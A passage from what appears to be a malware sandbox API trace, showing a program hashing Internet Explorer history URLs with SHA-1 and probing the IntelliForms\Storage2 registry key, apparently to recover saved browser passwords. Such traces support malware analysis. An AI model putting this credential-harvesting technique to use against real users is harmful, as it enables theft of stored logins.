lpString2="B011B297C88ABC405E32120A7D12400DCE" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE") returned="B011B297C88ABC405E32120A7D12400DCE" [0097.341] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12400DCE", lpString2="13" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE13") returned="B011B297C88ABC405E32120A7D12400DCE13" [0097.342] LocalFree (hMem=0x2815670) returned 0x0 [0097.342] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="92") returned 2 [0097.342] lstrlenW (lpString="B011B297C88ABC405E32120A7D12400DCE13") returned 36 [0097.342] lstrlenW (lpString="92") returned 2 [0097.342] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.342] lstrcpyW (in: lpString1=0x28e7670, lpString2="B011B297C88ABC405E32120A7D12400DCE13" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE13") returned="B011B297C88ABC405E32120A7D12400DCE13" [0097.342] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12400DCE13", lpString2="92" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE1392") returned="B011B297C88ABC405E32120A7D12400DCE1392" [0097.342] LocalFree (hMem=0x28e7910) returned 0x0 [0097.342] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0097.342] lstrlenW (lpString="B011B297C88ABC405E32120A7D12400DCE1392") returned 38 [0097.342] lstrlenW (lpString="5D") returned 2 [0097.342] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.342] lstrcpyW (in: lpString1=0x28e7910, lpString2="B011B297C88ABC405E32120A7D12400DCE1392" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE1392") returned="B011B297C88ABC405E32120A7D12400DCE1392" [0097.342] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12400DCE1392", lpString2="5D" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE13925D") returned="B011B297C88ABC405E32120A7D12400DCE13925D" [0097.342] LocalFree (hMem=0x28e7670) returned 0x0 [0097.342] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B0") returned 2 [0097.342] lstrlenW (lpString="B011B297C88ABC405E32120A7D12400DCE13925D") returned 40 [0097.342] lstrlenW (lpString="B0") returned 2 [0097.342] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.342] lstrcpyW (in: lpString1=0x28e7670, lpString2="B011B297C88ABC405E32120A7D12400DCE13925D" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE13925D") returned="B011B297C88ABC405E32120A7D12400DCE13925D" [0097.342] lstrcatW (in: lpString1="B011B297C88ABC405E32120A7D12400DCE13925D", lpString2="B0" | out: lpString1="B011B297C88ABC405E32120A7D12400DCE13925DB0") returned="B011B297C88ABC405E32120A7D12400DCE13925DB0" [0097.342] LocalFree (hMem=0x28e7910) returned 0x0 [0097.342] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0097.342] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.342] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.342] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.342] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.342] LocalFree (hMem=0x28e7670) returned 0x0 [0097.342] CoTaskMemFree (pv=0x7187650) [0097.342] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.343] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots", lpSrch="?") returned 0x0 [0097.343] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.343] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.343] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots") returned 48 [0097.343] CryptHashData (hHash=0x4469b60, pbData=0x4469bd0, dwDataLen=0x62, dwFlags=0x0) returned 1 [0097.343] CryptGetHashParam (in: hHash=0x4469b60, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.343] CryptDestroyHash (hHash=0x4469b60) returned 1 [0097.343] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.343] CoTaskMemFree (pv=0x4469bd0) [0097.343] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.344] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg", lpSrch="?") returned 0x0 [0097.344] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.344] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.344] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg") returned 56 [0097.344] CryptHashData (hHash=0x4435850, pbData=0x71e50a0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0097.344] CryptGetHashParam (in: hHash=0x4435850, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.344] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0097.344] lstrlenW (lpString="") returned 0 [0097.344] lstrlenW (lpString="06") returned 2 [0097.344] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.344] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.344] lstrcatW (in: lpString1="", lpString2="06" | out: lpString1="06") returned="06" [0097.344] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.344] lstrlenW (lpString="06") returned 2 [0097.344] lstrlenW (lpString="37") returned 2 [0097.344] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c7540 [0097.344] lstrcpyW (in: lpString1=0x28c7540, lpString2="06" | out: lpString1="06") returned="06" [0097.345] lstrcatW (in: lpString1="06", lpString2="37" | out: lpString1="0637") returned="0637" [0097.345] LocalFree (hMem=0x7187650) returned 0x0 [0097.345] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0097.345] lstrlenW (lpString="0637") returned 4 [0097.345] lstrlenW (lpString="3B") returned 2 [0097.345] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c48e0 [0097.345] lstrcpyW (in: lpString1=0x28c48e0, lpString2="0637" | out: lpString1="0637") returned="0637" [0097.345] lstrcatW (in: lpString1="0637", lpString2="3B" | out: lpString1="06373B") returned="06373B" [0097.345] LocalFree (hMem=0x28c7540) returned 0x0 [0097.345] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0097.345] lstrlenW (lpString="06373B") returned 6 [0097.345] lstrlenW (lpString="5D") returned 2 [0097.345] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c7540 [0097.345] lstrcpyW (in: lpString1=0x28c7540, lpString2="06373B" | out: lpString1="06373B") returned="06373B" [0097.345] lstrcatW (in: lpString1="06373B", lpString2="5D" | out: lpString1="06373B5D") returned="06373B5D" [0097.345] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.345] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="35") returned 2 [0097.345] lstrlenW (lpString="06373B5D") returned 8 [0097.345] lstrlenW (lpString="35") returned 2 [0097.345] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c48e0 [0097.345] lstrcpyW (in: lpString1=0x28c48e0, lpString2="06373B5D" | out: lpString1="06373B5D") returned="06373B5D" [0097.345] lstrcatW (in: lpString1="06373B5D", lpString2="35" | out: lpString1="06373B5D35") returned="06373B5D35" [0097.345] LocalFree (hMem=0x28c7540) returned 0x0 [0097.345] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D4") returned 2 [0097.345] lstrlenW (lpString="06373B5D35") returned 10 [0097.356] lstrlenW (lpString="D4") returned 2 [0097.356] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf510 [0097.357] lstrcpyW (in: lpString1=0x71cf510, lpString2="06373B5D35" | out: lpString1="06373B5D35") returned="06373B5D35" [0097.357] lstrcatW (in: lpString1="06373B5D35", lpString2="D4" | out: lpString1="06373B5D35D4") returned="06373B5D35D4" [0097.357] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.357] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.357] lstrlenW (lpString="06373B5D35D4") returned 12 [0097.357] lstrlenW (lpString="9F") returned 2 [0097.357] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf670 [0097.357] lstrcpyW (in: lpString1=0x71cf670, lpString2="06373B5D35D4" | out: lpString1="06373B5D35D4") returned="06373B5D35D4" [0097.357] lstrcatW (in: lpString1="06373B5D35D4", lpString2="9F" | out: lpString1="06373B5D35D49F") returned="06373B5D35D49F" [0097.357] LocalFree (hMem=0x71cf510) returned 0x0 [0097.357] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0097.357] lstrlenW (lpString="06373B5D35D49F") returned 14 [0097.357] lstrlenW (lpString="1D") returned 2 [0097.357] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf510 [0097.357] lstrcpyW (in: lpString1=0x71cf510, lpString2="06373B5D35D49F" | out: lpString1="06373B5D35D49F") returned="06373B5D35D49F" [0097.357] lstrcatW (in: lpString1="06373B5D35D49F", lpString2="1D" | out: lpString1="06373B5D35D49F1D") returned="06373B5D35D49F1D" [0097.357] LocalFree (hMem=0x71cf670) returned 0x0 [0097.357] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A3") returned 2 [0097.357] lstrlenW (lpString="06373B5D35D49F1D") returned 16 [0097.357] lstrlenW (lpString="A3") returned 2 [0097.357] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf670 [0097.357] lstrcpyW (in: lpString1=0x71cf670, lpString2="06373B5D35D49F1D" | out: lpString1="06373B5D35D49F1D") returned="06373B5D35D49F1D" [0097.357] lstrcatW (in: lpString1="06373B5D35D49F1D", lpString2="A3" | out: lpString1="06373B5D35D49F1DA3") returned="06373B5D35D49F1DA3" [0097.357] LocalFree (hMem=0x71cf510) returned 0x0 [0097.357] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0097.357] lstrlenW (lpString="06373B5D35D49F1DA3") returned 18 [0097.357] lstrlenW (lpString="27") returned 2 [0097.357] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.357] lstrcpyW (in: lpString1=0x72912f0, lpString2="06373B5D35D49F1DA3" | out: lpString1="06373B5D35D49F1DA3") returned="06373B5D35D49F1DA3" [0097.357] lstrcatW (in: lpString1="06373B5D35D49F1DA3", lpString2="27" | out: lpString1="06373B5D35D49F1DA327") returned="06373B5D35D49F1DA327" [0097.358] LocalFree (hMem=0x71cf670) returned 0x0 [0097.358] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.358] lstrlenW (lpString="06373B5D35D49F1DA327") returned 20 [0097.358] lstrlenW (lpString="0C") returned 2 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.358] lstrcpyW (in: lpString1=0x7290b70, lpString2="06373B5D35D49F1DA327" | out: lpString1="06373B5D35D49F1DA327") returned="06373B5D35D49F1DA327" [0097.358] lstrcatW (in: lpString1="06373B5D35D49F1DA327", lpString2="0C" | out: lpString1="06373B5D35D49F1DA3270C") returned="06373B5D35D49F1DA3270C" [0097.358] LocalFree (hMem=0x72912f0) returned 0x0 [0097.358] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3D") returned 2 [0097.358] lstrlenW (lpString="06373B5D35D49F1DA3270C") returned 22 [0097.358] lstrlenW (lpString="3D") returned 2 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.358] lstrcpyW (in: lpString1=0x72912f0, lpString2="06373B5D35D49F1DA3270C" | out: lpString1="06373B5D35D49F1DA3270C") returned="06373B5D35D49F1DA3270C" [0097.358] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C", lpString2="3D" | out: lpString1="06373B5D35D49F1DA3270C3D") returned="06373B5D35D49F1DA3270C3D" [0097.358] LocalFree (hMem=0x7290b70) returned 0x0 [0097.358] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7F") returned 2 [0097.358] lstrlenW (lpString="06373B5D35D49F1DA3270C3D") returned 24 [0097.358] lstrlenW (lpString="7F") returned 2 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.358] lstrcpyW (in: lpString1=0x7290b70, lpString2="06373B5D35D49F1DA3270C3D" | out: lpString1="06373B5D35D49F1DA3270C3D") returned="06373B5D35D49F1DA3270C3D" [0097.358] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D", lpString2="7F" | out: lpString1="06373B5D35D49F1DA3270C3D7F") returned="06373B5D35D49F1DA3270C3D7F" [0097.358] LocalFree (hMem=0x72912f0) returned 0x0 [0097.358] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.358] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F") returned 26 [0097.358] lstrlenW (lpString="34") returned 2 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.358] lstrcpyW (in: lpString1=0x2815670, lpString2="06373B5D35D49F1DA3270C3D7F" | out: lpString1="06373B5D35D49F1DA3270C3D7F") returned="06373B5D35D49F1DA3270C3D7F" [0097.358] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F", lpString2="34" | out: lpString1="06373B5D35D49F1DA3270C3D7F34") returned="06373B5D35D49F1DA3270C3D7F34" [0097.358] LocalFree (hMem=0x7290b70) returned 0x0 [0097.358] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="51") returned 2 [0097.358] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F34") returned 28 [0097.358] lstrlenW (lpString="51") returned 2 [0097.358] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.358] lstrcpyW (in: lpString1=0x2815a80, lpString2="06373B5D35D49F1DA3270C3D7F34" | out: lpString1="06373B5D35D49F1DA3270C3D7F34") returned="06373B5D35D49F1DA3270C3D7F34" [0097.358] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F34", lpString2="51" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451") returned="06373B5D35D49F1DA3270C3D7F3451" [0097.358] LocalFree (hMem=0x2815670) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451") returned 30 [0097.359] lstrlenW (lpString="BA") returned 2 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.359] lstrcpyW (in: lpString1=0x2815670, lpString2="06373B5D35D49F1DA3270C3D7F3451" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451") returned="06373B5D35D49F1DA3270C3D7F3451" [0097.359] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451", lpString2="BA" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA") returned="06373B5D35D49F1DA3270C3D7F3451BA" [0097.359] LocalFree (hMem=0x2815a80) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451BA") returned 32 [0097.359] lstrlenW (lpString="94") returned 2 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.359] lstrcpyW (in: lpString1=0x2815a80, lpString2="06373B5D35D49F1DA3270C3D7F3451BA" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA") returned="06373B5D35D49F1DA3270C3D7F3451BA" [0097.359] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451BA", lpString2="94" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94") returned="06373B5D35D49F1DA3270C3D7F3451BA94" [0097.359] LocalFree (hMem=0x2815670) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E2") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451BA94") returned 34 [0097.359] lstrlenW (lpString="E2") returned 2 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.359] lstrcpyW (in: lpString1=0x28e7670, lpString2="06373B5D35D49F1DA3270C3D7F3451BA94" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94") returned="06373B5D35D49F1DA3270C3D7F3451BA94" [0097.359] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94", lpString2="E2" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2" [0097.359] LocalFree (hMem=0x2815a80) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451BA94E2") returned 36 [0097.359] lstrlenW (lpString="C9") returned 2 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.359] lstrcpyW (in: lpString1=0x28e7910, lpString2="06373B5D35D49F1DA3270C3D7F3451BA94E2" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2" [0097.359] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2", lpString2="C9" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C9") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2C9" [0097.359] LocalFree (hMem=0x28e7670) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451BA94E2C9") returned 38 [0097.359] lstrlenW (lpString="75") returned 2 [0097.359] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.359] lstrcpyW (in: lpString1=0x28e7670, lpString2="06373B5D35D49F1DA3270C3D7F3451BA94E2C9" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C9") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2C9" [0097.359] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C9", lpString2="75" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C975") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2C975" [0097.359] LocalFree (hMem=0x28e7910) returned 0x0 [0097.359] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0097.359] lstrlenW (lpString="06373B5D35D49F1DA3270C3D7F3451BA94E2C975") returned 40 [0097.360] lstrlenW (lpString="1F") returned 2 [0097.360] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.360] lstrcpyW (in: lpString1=0x28e7910, lpString2="06373B5D35D49F1DA3270C3D7F3451BA94E2C975" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C975") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2C975" [0097.360] lstrcatW (in: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C975", lpString2="1F" | out: lpString1="06373B5D35D49F1DA3270C3D7F3451BA94E2C9751F") returned="06373B5D35D49F1DA3270C3D7F3451BA94E2C9751F" [0097.360] LocalFree (hMem=0x28e7670) returned 0x0 [0097.360] CryptDestroyHash (hHash=0x4435850) returned 1 [0097.360] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.360] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.360] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.360] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.360] LocalFree (hMem=0x28e7910) returned 0x0 [0097.360] CoTaskMemFree (pv=0x71e50a0) [0097.360] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.360] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg", lpSrch="?") returned 0x0 [0097.360] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.361] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.361] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg") returned 76 [0097.361] CryptHashData (hHash=0x4435850, pbData=0x71d00c0, dwDataLen=0x9a, dwFlags=0x0) returned 1 [0097.361] CryptGetHashParam (in: hHash=0x4435850, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.361] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="30") returned 2 [0097.361] lstrlenW (lpString="") returned 0 [0097.361] lstrlenW (lpString="30") returned 2 [0097.361] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x4430f50 [0097.361] lstrcpyW (in: lpString1=0x4430f50, lpString2="" | out: lpString1="") returned="" [0097.361] lstrcatW (in: lpString1="", lpString2="30" | out: lpString1="30") returned="30" [0097.361] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="79") returned 2 [0097.361] lstrlenW (lpString="30") returned 2 [0097.361] lstrlenW (lpString="79") returned 2 [0097.361] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c48e0 [0097.361] lstrcpyW (in: lpString1=0x28c48e0, lpString2="30" | out: lpString1="30") returned="30" [0097.361] lstrcatW (in: lpString1="30", lpString2="79" | out: lpString1="3079") returned="3079" [0097.361] LocalFree (hMem=0x4430f50) returned 0x0 [0097.361] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="10") returned 2 [0097.361] lstrlenW (lpString="3079") returned 4 [0097.361] lstrlenW (lpString="10") returned 2 [0097.361] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c2ae0 [0097.361] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="3079" | out: lpString1="3079") returned="3079" [0097.362] lstrcatW (in: lpString1="3079", lpString2="10" | out: lpString1="307910") returned="307910" [0097.362] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.362] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5F") returned 2 [0097.362] lstrlenW (lpString="307910") returned 6 [0097.362] lstrlenW (lpString="5F") returned 2 [0097.362] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c48e0 [0097.362] lstrcpyW (in: lpString1=0x28c48e0, lpString2="307910" | out: lpString1="307910") returned="307910" [0097.362] lstrcatW (in: lpString1="307910", lpString2="5F" | out: lpString1="3079105F") returned="3079105F" [0097.362] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.362] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.362] lstrlenW (lpString="3079105F") returned 8 [0097.362] lstrlenW (lpString="91") returned 2 [0097.362] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c2ae0 [0097.362] lstrcpyW (in: lpString1=0x28c2ae0, lpString2="3079105F" | out: lpString1="3079105F") returned="3079105F" [0097.362] lstrcatW (in: lpString1="3079105F", lpString2="91" | out: lpString1="3079105F91") returned="3079105F91" [0097.362] LocalFree (hMem=0x28c48e0) returned 0x0 [0097.362] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.362] lstrlenW (lpString="3079105F91") returned 10 [0097.362] lstrlenW (lpString="12") returned 2 [0097.362] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf1a0 [0097.362] lstrcpyW (in: lpString1=0x71cf1a0, lpString2="3079105F91" | out: lpString1="3079105F91") returned="3079105F91" [0097.362] lstrcatW (in: lpString1="3079105F91", lpString2="12" | out: lpString1="3079105F9112") returned="3079105F9112" [0097.362] LocalFree (hMem=0x28c2ae0) returned 0x0 [0097.362] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0097.362] lstrlenW (lpString="3079105F9112") returned 12 [0097.362] lstrlenW (lpString="94") returned 2 [0097.362] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.362] lstrcpyW (in: lpString1=0x71d0010, lpString2="3079105F9112" | out: lpString1="3079105F9112") returned="3079105F9112" [0097.362] lstrcatW (in: lpString1="3079105F9112", lpString2="94" | out: lpString1="3079105F911294") returned="3079105F911294" [0097.362] LocalFree (hMem=0x71cf1a0) returned 0x0 [0097.362] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0097.362] lstrlenW (lpString="3079105F911294") returned 14 